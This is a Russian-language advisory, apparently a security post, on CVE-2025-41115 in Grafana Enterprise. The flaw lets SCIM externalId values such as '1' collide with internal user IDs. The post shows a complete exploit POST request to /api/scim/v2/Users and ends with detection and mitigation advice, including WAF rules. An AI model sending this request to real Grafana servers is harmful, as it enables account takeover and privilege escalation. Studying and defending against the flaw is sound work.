CVE-2025-41115 — уязвимость связана с ошибкой в обработке идентификаторов пользователей через SCIM. Система позволяет создать пользователя с внешним идентификатором (externalId) числового вида, например «1», который может совпадать или интерпретироваться как внутренний ID пользователя в Grafana.
Уязвимые версии Grafana Enterprise: 12.0.0 ≤ версия ≤ 12.2.1
😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-266
😬 Об уязвимости
Она возникает при установке флагов
[feature_toggles] enableSCIM = true и [auth.scim] user_sync_enabled = true в конфигурации Grafana.Grafana напрямую сопоставляет
SCIM externalId с внутренним user.uid, поэтому числовые значения «1» и другие могут быть интерпретированы как внутренние числовые идентификаторы пользователей. ExternalId — этот параметр контролирует злоумышленник в POST-запросах. Пример запроса, который эксплуатирует уязвимость:
POST /api/scim/v2/Users HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Authorization: Bearer glsa_00000000000000000000000000000000_00000000000000000000000000000000
Content-Type: application/scim+json
Content-Length: 239
{"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "userName": "adminLol", "externalId": "1", "name": {"formatted": "Pwned User"}, "emails": [{"value": " adminLol ", "primary": true}], "active": true}
/api/scim/v2/Users — конечная точка для управления пользователями. Например, чтобы создать пользователя через POST-запрос.
Authorization — заголовок авторизации: его значение могут скомпрометировать или использовать дефолтное значение, как в публичных эксплойтах.
Body — это спецификация SCIM RFC 7644. В теле запроса и содержится параметр
externalId, который вызывает коллизию. 😬 Как защищаться
1) Регулярно обновляться.
2) Анализировать запросы к /api/scim/v2/Users из внешних сетей с заголовком Authorization, у которого значения отличаются от сгенерированных или выданных токенов.
3) Анализировать запросы к /api/scim/v2/Users из внешних сетей с параметром
externalId, который содержит небольшие значения, например 1-10.4) Если нельзя быстро обновиться, то установить
enableSCIM = false и [auth.scim] user_sync_enabled = false.Другой вариант — написать блокирующие IDS/WAF-правила на POST-запросы к /api/scim/v2/Users со значением
externalId, которое равно числам в диапазоне, например 1-10.
